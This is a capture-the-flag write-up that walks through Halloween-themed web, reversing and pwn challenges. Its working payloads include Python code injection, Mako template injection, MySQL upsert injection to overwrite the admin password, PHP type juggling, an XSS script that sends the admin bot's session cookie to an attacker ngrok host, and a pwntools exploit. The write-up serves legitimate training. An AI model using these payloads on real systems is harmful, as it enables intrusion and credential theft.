Challenges

Evaluation Deck

Web

Description

A powerful demon has sent one of his ghost generals into our world to ruin the fun of Halloween. The ghost can only be defeated by luck. Are you lucky enough to draw the right cards to defeat him and save this Halloween?

Solution

Taking a look at the web page, we can see that it’s some kind of game that uses cards to defeat an enemy.

On each card reveal there’s a POST request to /api/get_health with a body like {"current_health":"33","attack_power":"65","operator":"-"}.

Let’s take a look at the code for that endpoint.

@api.route('/get_health', methods=['POST'])
def count():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()

    current_health = data.get('current_health')
    attack_power = data.get('attack_power')
    operator = data.get('operator')

    if not current_health or not attack_power or not operator:
        return response('All fields are required!'), 400

    result = {}
    try:
        code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
        exec(code, result)
        return response(result.get('result'))
    except:
        return response('Something Went Wrong!'), 500

Here we see that our input is used in the creation of a code object, code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec'). This code object is then executed by the exec function and the result variable from that execution is returned to the client.

Since the operator parameter isn’t modified at all, we should be able to inject Python code using this parameter.

Our original request will generate result = 33 - 65. So if we inject something in the operator variable, we need to ensure that it won’t be a part of the result assignment statement. To do this we need to inject a new line character followed by the code we want to execute.

To read the flag, we want to inject result = open('../../flag.txt').readlines() so the result variable returned to the client will be overwritten with the contents of the flag.

We still have the last part of the original statement, 65, that will generate an error if we don’t handle it. So after our injected code, we can inject a comment, and then our code will be valid.

So now our final operator payload is \nresult = open('../../flag.txt').readlines()# which will result in result = 33 \nresult = open('../../flag.txt').readlines()# 65.

After sending the payload, we get the flag in the response.

{"message":["HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}"]}

Spookifier

Web

Description

There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?

Solution

Entering the challenge site, we get an application that takes an input and prints the input with a “spooky” font.

Taking a look at the code for the endpoint, we find out that mako is being used as the templating engine.

from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify

web = Blueprint('web', __name__)

@web.route('/')
def index():
    text = request.args.get('text')
    if(text):
        converted = spookify(text)
        return render_template('index.html',output=converted)

    return render_template('index.html',output='')

Let’s try to execute some code using the following payload ${"z".join("ab")} to see if we can make mako run our code.

Looks like it worked for the last font, let’s try to read the flag using the following payload ${open('../../flag.txt').readlines()}.

HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}


Horror Feeds

Web

Description

An unknown entity has taken over every screen worldwide and is broadcasting this haunted feed that introduces paranormal activity to random internet-accessible CCTV devices. Could you take down this streaming service?

Solution

Entering the challenge page we are greeted with a login screen.

Registering a user and logging in leads us to a dashboard with four camera feeds.

Taking a look at the code for the dashboard template reveals that there’s a part of the dashboard only visible to the admin and that the flag is revealed in that part of the page.

Trying to log in as admin only returns an error that the salt is invalid.

Further analysis of the code reveals an SQLi in the register function in database.py.

def register(username, password):
    exists = query_db('SELECT * FROM users WHERE username = %s', (username,))

    if exists:
        return False

    hashed = generate_password_hash(password)

    query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")')
    mysql.connection.commit()

    return True

We should be able to inject SQL using the username parameter in the register user call. What we want to do is to replace the admin user’s hash with a hash of our own. First, we have to generate a new bcrypt hash for the password we want to use.

Now we have to craft our SQL injection.

What we want to try is INSERT INTO users (username, password) VALUES ("test", "");UPDATE users SET password="$2b$12$UVuB/gMml7s8F18KlvLLKeu790K8mY7CiTzfEmk9GR9.NKbW6PQ9q" WHERE username="admin";.

From this, we can create the following payload.

{"username":"test\", \"\");UPDATE users SET password=\"$2b$12$UVuB/gMml7s8F18KlvLLKeu790K8mY7CiTzfEmk9GR9.NKbW6PQ9q\" WHERE username=\"admin\";#","password":"test"}

But when we send this payload we get an error telling us that we can’t run multiple queries, so we have to find another way to update the admin password.

The next payload we want to try is to run an upsert query, in MySQL one of the ways to achieve this is by using ON DUPLICATE KEY UPDATE. Using this our new query becomes INSERT INTO users (username, password) VALUES ("admin", "") ON DUPLICATE KEY UPDATE password="$2b$12$UVuB/gMml7s8F18KlvLLKeu790K8mY7CiTzfEmk9GR9.NKbW6PQ9q". This query should update the admin password if the admin user already exists in the database.

Our new payload becomes the following.

{"username":"admin\", \"\") ON DUPLICATE KEY UPDATE password='$2b$12$UVuB/gMml7s8F18KlvLLKeu790K8mY7CiTzfEmk9GR9.NKbW6PQ9q'#","password":"test"}

After sending this request we get a success message.

Now we can log in as admin using our injected password and view the hidden part of the page.

HTB{N3ST3D_QU3R1E5_AR3_5CARY!!!}


Juggling Facts

Web

Description

An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?

Solution

Entering the challenge page we get a bunch of pumpkin facts.

We also get three buttons to change the type of facts, but pressing the Secret Facts button tells us that we don’t have access to this page.

Taking a look at the request and response when pressing the button shows that we send a POST request to /api/getfacts with the data {"type":"secrets"}. The response is a bit different from the message displayed on the page, {"message":"Currently this type can be only accessed through localhost!"}. So we have to find a way to trick the back-end code to accept our request and display the Secret Facts page.

Let’s take a look at the code responsible for access control.

    public function getfacts($router)
    {
        $jsondata = json_decode(file_get_contents('php://input'), true);

        if ( empty($jsondata) || !array_key_exists('type', $jsondata))
        {
            return $router->jsonify(['message' => 'Insufficient parameters!']);
        }

        if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
        {
            return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
        }

        switch ($jsondata['type'])
        {
            case 'secrets':
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('secrets')
                ]);

            case 'spooky':
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('spooky')
                ]);

            case 'not_spooky':
                return $router->jsonify([
                    'facts' => $this->facts->get_facts('not_spooky')
                ]);

            default:
                return $router->jsonify([
                    'message' => 'Invalid type!'
                ]);
        }
    }

Here we can see that the request has to come from 127.0.0.1 when the type is secrets. We can also see that the way the function chooses which facts to return is done by using switch/case, which will be done using loose comparison and thus vulnerable to type juggling. Since the first case is secrets, we should be able to trick the code to return the secret facts.

Let’s take a look at how PHP does loose comparisons and find what value we can use.

PHP Loose comparisons table from OWASP

As we can see in the table, the boolean value true and the string “php” will result in true when compared using loose comparison. So all we should have to do is to send true as the type value and we should get the secret facts.

{
"type":true
}

{"facts":[{"id":19,"fact":"HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}","fact_type":"secrets"}]}

Sure enough, we get the secret facts that contain the flag HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}.


Cursed Secret Party

Description

You’ve just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?

Solution

The challenge page is a form used for RSVPing to a Halloween party.

Filling out the form and submitting only returns a text that the request will be reviewed by the team.

Let’s take a look at the code to see what’s going on.

In the file routes/index.js we find the form submission code.

router.post('/api/submit', (req, res) => {
    const { halloween_name, email, costume_type, trick_or_treat } = req.body;

    if (halloween_name && email && costume_type && trick_or_treat) {

        return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
            .then(() => {
                res.send(response('Your request will be reviewed by our team!'));

                bot.visit();
            })
            .catch(() => res.send(response('Something Went Wrong!')));
    }

    return res.status(401).send(response('Please fill out all the required fields!'));
});

Here we see that after our request is saved to the database, bot.visit() is called. At the top of the file, we can see where the bot variable comes from, const bot = require('../bot');

Let’s see what bot.visit() does.

const fs = require('fs');
const puppeteer = require('puppeteer');
const JWTHelper = require('./helpers/JWTHelper');
const flag = fs.readFileSync('/flag.txt', 'utf8');

const browser_options = {
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
        '--js-flags=--noexpose_wasm,--jitless'
    ]
};

const visit = async () => {
    try {
        const browser = await puppeteer.launch(browser_options);
        let context = await browser.createIncognitoBrowserContext();
        let page = await context.newPage();

        let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
        await page.setCookie({
            name: 'session',
            value: token,
            domain: '127.0.0.1:1337'
        });

        await page.goto('http://127.0.0.1:1337/admin', {
            waitUntil: 'networkidle2',
            timeout: 5000
        });

        await page.goto('http://127.0.0.1:1337/admin/delete_all', {
            waitUntil: 'networkidle2',
            timeout: 5000
        });

        setTimeout(() => {
            browser.close();
        }, 5000);

    } catch(e) {
        console.log(e);
    }
};

module.exports = { visit };

So the bot will set the flag as a value in a JWT token, visit /admin, and then visit /admin/delete_all. So we need to get the JWT token somehow.

Let’s take a look at the admin view.

<html>
    <head>
        <link rel="stylesheet" href="/static/css/bootstrap.min.css" />
        <title>Admin panel</title>
    </head>

    <body>
        <div class="container" style="margin-top: 20px">
            {% for request in requests %}
                <div class="card">
                <div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
                <div class="card-body">
                    <p class="card-title"><strong>Email Address</strong>    : {{ request.email }}</p>
                    <p class="card-text"><strong>Costume Type </strong>   : {{ request.costume_type }} </p>
                    <p class="card-text"><strong>Prefers tricks or treat </strong>   : {{ request.trick_or_treat }} </p>

                    <button class="btn btn-primary">Accept</button>
                    <button class="btn btn-danger">Delete</button>
                </div>
            </div>
            {% endfor %}
        </div>

    </body>
</html>

Ok, so the admin view will display the values we entered in the form. Notice the {{ request.halloween_name | safe }}, let’s find out what this means. First, let’s find out what templating engine is used. To do that we can take a look in the packages.json file and see that one dependency is nunjucks. Let’s take a look at the documentation for the safe filter.

According to the nunjucks documentation, safe

Mark the value as safe which means that in an environment with automatic escaping enabled this variable will not be escaped.

This means that we should be able to inject code using the halloween_name parameter.

Analyzing the rest of the code reveals another interesting thing, there’s a CSP in use.

app.use(function (req, res, next) {
    res.setHeader(
        "Content-Security-Policy",
        "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
    );
    next();
});

This means that we are not able to inject any JavaScript directly. But the use of https://cdn.jsdelivr.net means that we can inject <script> tags using code from that domain.

Taking a look at the features of cdn.jsdelivr.net, we can find something interesting. Code from a GitHub repo can be accessed through the CDN.

Let’s create a GitHub repo and a JavaScript file containing our payload. We want to steal the cookie from the bot, so we want to redirect the bot to a server we control and send the cookies as a parameter.

All we need is to create the following script and save it to the GitHub repo.

window.location = "http://7c33-193-138-218-162.ngrok.io/c=" + document.cookie;

Now we can try to access our script through jsdelivr by going to https://cdn.jsdelivr.net/gh/kza42/poc/poc2.js

Now we are able to serve our script through jsdelivr and thus able to inject this script to the admin page.

If we enter <script src='https://cdn.jsdelivr.net/gh/kza42/poc/poc2.js'></script> as the Halloween name in the form and submit it, we get a request on our server.

127.0.0.1 - - [26/Oct/2022 18:29:02] "GET /c=session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiSFRCe2Nkbl9jNG5fYnlwNHNzX2M1cCEhfSIsImlhdCI6MTY2NjgwMTc0Mn0.G1tPSxq2geahdNs1JldG7-pmDPpS3d83DhWJWn6QW9E HTTP/1.1" 404 - 

Decoding the base64 encoded token, we get the flag.

{"alg":"HS256","typ":"JWT"}{"username":"admin","user_role":"admin","flag":"HTB{cdn_c4n_byp4ss_c5p!!}","iat":1666801742}.ÖÓÒÆ. y¨]6ÍI.Ñ»¦`Ï¥-ÝópáX.§é.½

HTB{cdn_c4n_byp4ss_c5p!!}


Cult Meeting

Rev

Description

After months of research, you’re ready to attempt to infiltrate the meeting of a shadowy cult. Unfortunately, it looks like they’ve changed their password!

Solution

Loading the binary in IDA shows the following code.

Here we see that the entered password is compared to sup3r_s3cr3t_p455w0rd_f0r_u! and if it’s the same, a system call to run /bin/sh is executed.

So let’s connect to the server using nc and see if it works.

You knock on the door and a panel slides back
|/👁️ 👁️ \| A hooded figure looks out at you
"What is the password for this week's meeting?" 
sup3r_s3cr3t_p455w0rd_f0r_u!
The panel slides closed and the lock clicks
|      | "Welcome inside..."
$

Great, let’s find the flag.

$ ls
ls
core  flag.txt  meeting
$ cat flag.txt
cat flag.txt
HTB{1nf1ltr4t1ng_4_cul7_0f_str1ng5}
$

EncodedPayload

Rev

Description

Buried in your basement you’ve discovered an ancient tome. The pages are full of what look like warnings, but luckily you can’t read the language! What will happen if you invoke the ancient spells here?

Solution

Opening the binary in a hex editor shows that the code is obfuscated.

Running the program yields no output at all. Let’s run it with strace and see what happens.

execve("./encodedpayload", ["./encodedpayload"], 0x7fffe5b9b370 /* 42 vars */) = 0
[ Process PID=455411 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, 102) = -1 ECONNREFUSED (Connection refused)
syscall_0xffffffffffffff0b(0xffa197f8, 0xffa197f0, 0, 0, 0, 0) = -1 ENOSYS (Function not implemented)
execve("/bin/sh", ["/bin/sh", "-c", "echo HTB{PLz_strace_M333}"], NULL) = 0
[ Process PID=455411 runs in 64 bit mode. ]
brk(NULL)                               = 0x557ed40ff000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=135011, ...}) = 0
mmap(NULL, 135011, PROT_READ, MAP_PRIVATE, 4, 0) = 0x7f57f00b1000
close(4)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@>\2\0\0\0\0\0"..., 832) = 832
fstat(4, {st_mode=S_IFREG|0755, st_size=1905632, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f57f00af000
mmap(NULL, 1918592, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7f57efeda000
mmap(0x7f57efefc000, 1417216, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x22000) = 0x7f57efefc000
mmap(0x7f57f0056000, 323584, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x17c000) = 0x7f57f0056000
mmap(0x7f57f00a5000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1ca000) = 0x7f57f00a5000
mmap(0x7f57f00ab000, 13952, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f57f00ab000
close(4)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f57f00b0580) = 0
mprotect(0x7f57f00a5000, 16384, PROT_READ) = 0
mprotect(0x557ed3907000, 8192, PROT_READ) = 0
mprotect(0x7f57f00fc000, 4096, PROT_READ) = 0
munmap(0x7f57f00b1000, 135011)          = 0
getuid()                                = 1000
getgid()                                = 1000
getpid()                                = 455411
rt_sigaction(SIGCHLD, {sa_handler=0x557ed38fca20, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f57eff12d60}, NULL, 8) = 0
geteuid()                               = 1000
getppid()                               = 455408
brk(NULL)                               = 0x557ed40ff000
brk(0x557ed4120000)                     = 0x557ed4120000
getcwd("encoded-payload", 4096) = 48
geteuid()                               = 1000
getegid()                               = 1000
rt_sigaction(SIGINT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGINT, {sa_handler=0x557ed38fca20, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f57eff12d60}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f57eff12d60}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f57eff12d60}, NULL, 8) = 0
write(1, "HTB{PLz_strace_M333}\n", 21)  = -1 EPIPE (Broken pipe)
--- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=455411, si_uid=1000} ---
+++ killed by SIGPIPE +++

Here we find the flag in two places.

execve("/bin/sh", ["/bin/sh", "-c", "echo HTB{PLz_strace_M333}"], NULL) = 0
write(1, "HTB{PLz_strace_M333}\n", 21) = -1 EPIPE (Broken pipe)


Ghost Wrangler

Rev

Description

Who you gonna call?

Solution

Opening the attached program in IDA, we see that the main function calls a function named get_flag.

Taking a look at get_flag, we see a loop that XOR’s 39 bytes from the _ constant value with 0x13.

Taking a look at the _ constant, we get the encoded flag values.

Extracting all values and then XOR each byte with 0x13 reveals the flag HTB{h4unt3d_by_th3_gh0st5_0f_ctf5_p45t!}


Ouija

Rev

Description

You’ve made contact with a spirit from beyond the grave! Unfortunately, they speak in an ancient tongue of flags, so you can’t understand a word. You’ve enlisted a medium who can translate it, but they like to take their time…

Solution

When running the attached program, we find out that it will take a lot of time to finish execution.

Opening the program in IDA, we find a lot of sleep calls in the code.

Searching for all the sleep calls reveals that there are only two different values used throughout the binary for all the calls, 0xA and 0x1.

So we could edit the binary and replace all BF 0A 00 00 00 (mov edi, 0Ah) and BF 01 00 00 00 (mov edi, 01h) instructions to BF 00 00 00 00 (mod edi, 00h) to set the sleep time to 0 and run the patched binary.

Retrieving key.
 ..... done!
Hmm, I don't like that one. Let's pick a new one.
 ..... done!
Yes, 18 will do nicely.
 ..... done!
Let's get ready to start. This might take a while!
 ..... done!
This one's an uppercase letter!
 ..... done!
Okay, let's write down this letter! This is a pretty complex operation, you might want to check back later.
   ..... done!
H
This one's an uppercase letter!
 ..... done!
Wrapping it round...
 ..... done!
Okay, let's write down this letter! This is a pretty complex operation, you might want to check back later.
   ..... done!
T
This one's an uppercase letter!
 ..... done!
Okay, let's write down this letter! This is a pretty complex operation, you might want to check back later.
   ..... done!
B
We can leave this one alone.
....
 ..... done!
Okay, let's write down this letter! This is a pretty complex operation, you might want to check back later.
   ..... done!
{

<SNIP>

This one's a lowercase letter
 ..... done!
Wrapping it round...
 ..... done!
Okay, let's write down this letter! This is a pretty complex operation, you might want to check back later.
   ..... done!
r
We can leave this one alone.
....
 ..... done!
Okay, let's write down this letter! This is a pretty complex operation, you might want to check back later.
   ..... done!
!
We can leave this one alone.
....
 ..... done!
Okay, let's write down this letter! This is a pretty complex operation, you might want to check back later.
   ..... done!
}
You're still here?

Now the program runs fast, and we got the flag character by character.

HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}


Secured Transfer

Rev

Description

Ghosts have been sending messages to each other through the aether, but we can’t understand a word of it! Can you understand their riddles?

Solution

Taking a look at the attached PCAP, we find a short TCP stream.

Following the stream shows the following data being sent.

Opening the attached executable in IDA, we can see functionality to send and receive files.

Taking a closer look at the send_file function, we find the section used to send the file and the message File send....

Inspecting the call, we find the key and IV used for a AES-256-CBC encryption.

The key is scrambled though, after rearranging the key we get the following.

byte ptr [rbp-30h], 73h ; 's'
byte ptr [rbp-2Fh], 75h ; 'u'
byte ptr [rbp-2Eh], 70h ; 'p'
byte ptr [rbp-2Dh], 65h ; 'e'
byte ptr [rbp-2Ch], 72h ; 'r'
byte ptr [rbp-2Bh], 73h ; 's'
byte ptr [rbp-2Ah], 65h ; 'e'
byte ptr [rbp-29h], 63h ; 'c'
byte ptr [rbp-28h], 72h ; 'r'
byte ptr [rbp-27h], 65h ; 'e'
byte ptr [rbp-26h], 74h ; 't'
byte ptr [rbp-25h], 6Bh ; 'k'
byte ptr [rbp-24h], 65h ; 'e'
byte ptr [rbp-23h], 79h ; 'y'
byte ptr [rbp-22h], 75h ; 'u'
byte ptr [rbp-21h], 73h ; 's'
byte ptr [rbp-20h], 65h ; 'e'
byte ptr [rbp-1Fh], 64h ; 'd'
byte ptr [rbp-1Eh], 66h ; 'f'
byte ptr [rbp-1Dh], 6Fh ; 'o'
byte ptr [rbp-1Ch], 72h ; 'r'
byte ptr [rbp-1Bh], 65h ; 'e'
byte ptr [rbp-1Ah], 6Eh ; 'n'
byte ptr [rbp-19h], 63h ; 'c'
byte ptr [rbp-18h], 72h ; 'r'
byte ptr [rbp-17h], 79h ; 'y'
byte ptr [rbp-16h], 70h ; 'p'
byte ptr [rbp-15h], 74h ; 't'
byte ptr [rbp-14h], 69h ; 'i'
byte ptr [rbp-13h], 6Fh ; 'o'
byte ptr [rbp-12h], 6Eh ; 'n'
byte ptr [rbp-11h], 21h ; '!'

Now we have the key supersecretkeyusedforencryption! and the IV someinitialvalue.

After dumping the file data from the stream in the PCAP file, we get the following data.

00000000: 5f55 8867 993d ccc9 9879 f7ca 39c5 e406  _U.g.=...y..9...
00000010: 972f 84a3 a9dd 5d48 9724 21ff 375c b18c  ./....]H.$!.7\..

Decrypt the data using AES-256-CBC and we get the flag HTB{vryS3CuR3_F1L3_TR4nsf3r}.


Pumpkin Stand

Pwn

Description

This time of the year, we host our big festival and the one who craves the pumpkin faster and make it as scary as possible, gets an amazing prize! Be fast and try to crave this hard pumpkin!

Solution

Starting the executable file, we see that it’s some kind of shop where you can buy either a shovel or a laser.

Buying more than we have pumpcoins for will result in a negative amount.

By buying a lot of something we can get the pumpcoins to overflow from a negative to a positive number.

But even with enough coins, we aren’t able to buy the laser.

Let’s take a look at the code to understand what’s happening.

void main(void)
{
  long in_FS_OFFSET;
  short choice;
  short amount;
  FILE *local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  choice = 0;
  amount = 0;
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          menu();
          __isoc99_scanf(&DAT_0010132b,&choice);
          printf("\nHow many do you want?\n\n>> ");
          __isoc99_scanf(&DAT_0010132b,&amount);
          if (0 < amount) break;
          printf("%s\n[-] You cannot buy less than 1!\n",&DAT_0010134a);
        }
        pumpcoins = pumpcoins -
                    amount * (short)*(undefined4 *)((long)&values + (long)(int)choice * 4);
        if (-1 < pumpcoins) break;
        printf("\nCurrent pumpcoins: [%s%d%s]\n\n",&DAT_00100e80,(ulong)(uint)(int)pumpcoins);
        printf("%s\n[-] Not enough pumpcoins for this!\n\n%s",&DAT_0010134a,&DAT_00100e78);
      }
      if (choice != 1) break;
      printf("\nCurrent pumpcoins: [%s%d%s]\n\n",&DAT_00100e80,(ulong)(uint)(int)pumpcoins);
      puts("\nGood luck crafting this huge pumpkin with a shovel!\n");
    }
    if (9998 < pumpcoins) break;
    printf("%s\n[-] Not enough pumpcoins for this!\n\n%s",&DAT_0010134a,&DAT_00100e78);
  }
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_50 = fopen("./flag.txt","rb");
  if (local_50 != (FILE *)0x0) {
    fgets((char *)&local_48,0x30,local_50);
    printf("%s\nCongratulations, here is the code to get your laser:\n\n%s\n\n",&DAT_00100ee3,
           &local_48);
                    /* WARNING: Subroutine does not return */
    exit(0x16);
  }
  puts("Error opening flag.txt, please contact an Administrator!\n");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

Here we see that we need to fulfill four conditions to reach the code that will print the flag.

  • The amount entered has to be greater than zero.
  • After subtracting the amount, the available pumpcoins can’t be less than -1.
  • The choice has to be something else than 1.
  • After subtracting the amount, the available pumpcoins have to be greater than 9998.

Let’s buy some lasers and see where the overflow will happen, after we get to 26 lasers we are able to buy the laser and get the flag.

HTB{1nt3g3R_0v3rfl0w_101_0r_0v3R_9000!}


Entity

Pwn

Description

This Spooky Time of the year, what’s better than watching a scary film on the TV? Well, a lot of things, like playing CTFs but you know what’s definitely not better? Something coming out of your TV!

Solution

Let’s start by taking a look at the attached source code to find out what’s going on.

We can begin with the main function.

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    bzero(&DataStore, sizeof(DataStore));
    printf("\nSomething strange is coming out of the TV..\n");
    while (1) {
        menu_t result = menu();
        switch (result.act) {
        case STORE_SET:
            set_field(result.field);
            break;
        case STORE_GET:
            get_field(result.field);
            break;
        case FLAG:
            get_flag();
            break;
        }
    }
}

So the code first zeros out the memory for the DataStore. Then start a loop calling the menu function, and based on the result, we either call set_field, get_field or get_flag. Simple enough, let’s check out the menu function.

menu_t menu() {
    menu_t res = { 0 };
    char buf[32] = { 0 };
    printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'T':
        res.act = STORE_SET;
        break;
    case 'R':
        res.act = STORE_GET;
        break;
    case 'C':
        res.act = FLAG;
        return res;
    default:
        puts("\nWhat's this nonsense?!");
        exit(-1);
    }

    printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'L':
        res.field = INTEGER;
        break;
    case 'S':
        res.field = STRING;
        break;
    default:
        printf("\nYou are doomed!\n");
        exit(-1);
    }
    return res;
}

The code will give us two menu choices, T for calling set_field, R for calling get_field, and C for calling get_flag. The second choice is to set res.field by entering L for INTEGER and S for STRING.

As seen in the main function, the res.field value is used as a parameter for both get_field and set_field.

Now let’s take a look at the get_flag function to see how we can get the flag.

void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}

Ok, so if we want to get the flag, the value of DataStore.integer has to be 13371337. Should be simple enough, let’s check the set_field function to see how we can set the correct value.

void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
    case INTEGER:
        sscanf(buf, "%llu", &DataStore.integer);
        if (DataStore.integer == 13371337) {
            puts("\nWhat's this nonsense?!");
            exit(-1);
        }
        break;
    case STRING:
        memcpy(DataStore.string, buf, sizeof(DataStore.string));
        break;
    }
}

So the set_field function has some protections against us directly setting the correct value for DataStore.integer. That’s unfortunate, but let’s find out what the DataStore struct looks like.

static union {
    unsigned long long integer;
    char string[8];
} DataStore;

So DataStore is a union, this is promising since both the integer and the string members will share the same memory. And as we saw in the set_field function, only the integer member has any protection.

Let’s try this out to see if we can exploit this. First, we can start the program and enter a string value for DataStore

(T)ry to turn it off
(R)un
(C)ry

>> T

This does not seem to work.. (L)ie down or (S)cream

>> S

Maybe try a ritual?

>> AAA

To verify that the string is entered, read the value of DataStore as a string.

(T)ry to turn it off
(R)un
(C)ry

>> R

This does not seem to work.. (L)ie down or (S)cream

>> S

Anything else to try?

>> AAA

Next we verify that we have an integer value.

(T)ry to turn it off
(R)un
(C)ry

>> R

This does not seem to work.. (L)ie down or (S)cream

>> L

Anything else to try?

>> 172048705

Great, we can manipulate the integer value by entering a string value. Let’s verify that the integer value corresponds to our entered string by converting it to hex. Sure enough, the value is 0xa414141 which includes the new line character.

Now we need to find out what we need to enter to be able to get the value 13371337. Converting 13371337 to hex gives us 0xCC07C9, but as we saw in the previous result we have to deal with the newline character as well.

Taking a look at the DataStore union, we see that the string member is eight bytes. So the value we want to send will be 0x00000000CC07C9 to eliminate the additional newline character.

The following Python script will send our payload and print the flag.

from pwn import *

r = process("./entity")
#r = remote('206.189.117.93', 31126)

payload = b'\xC9\x07\xCC\x00\x00\x00\x00\x00'

r.recvuntil(b'>> ')
r.sendline(b'T')
r.recvuntil(b'>> ')
r.sendline(b'S')
r.recvuntil(b'>> ')
r.sendline(payload)
r.recvuntil(b'>> ')
r.sendline(b'C')
data = r.recv()
print(data)

After running the script we get the flag.

[+] Opening connection to 206.189.117.93 on port 31126: Done
b'HTB{f1ght_34ch_3nt1ty_45_4_un10n}\n'
[*] Closed connection to 206.189.117.93 port 31126

Pumpking

Pwn

Description

Long live the King! Pumpking is the king of our hometown and this time of the year, he makes wishes come true! But, you must be naughty in order to get a wish.. He is like reverse Santa Claus and way cooler!

Solution

Let’s start by checking out the challenge, after starting the program we are greeted with a password prompt.

First of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids:

Entering test, we get an error message.

You seem too kind for the Pumpking to help you.. I'm sorry!

[1]    946273 invalid system call  ./pumpking

Let’s open the binary in IDA and take a closer look at what’s going on.

In the main function, we can see the password prompt message.

A bit further down in the main function, we find the password check and the error message we got when running the program. Let’s grab the password pumpk1ngRulez and try it out.

First of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: pumpk1ngRulez

[Pumpkgin]: Welcome naughty kid! This time of the year, I will make your wish come true! Wish for everything, even for tha flag!

>> flag
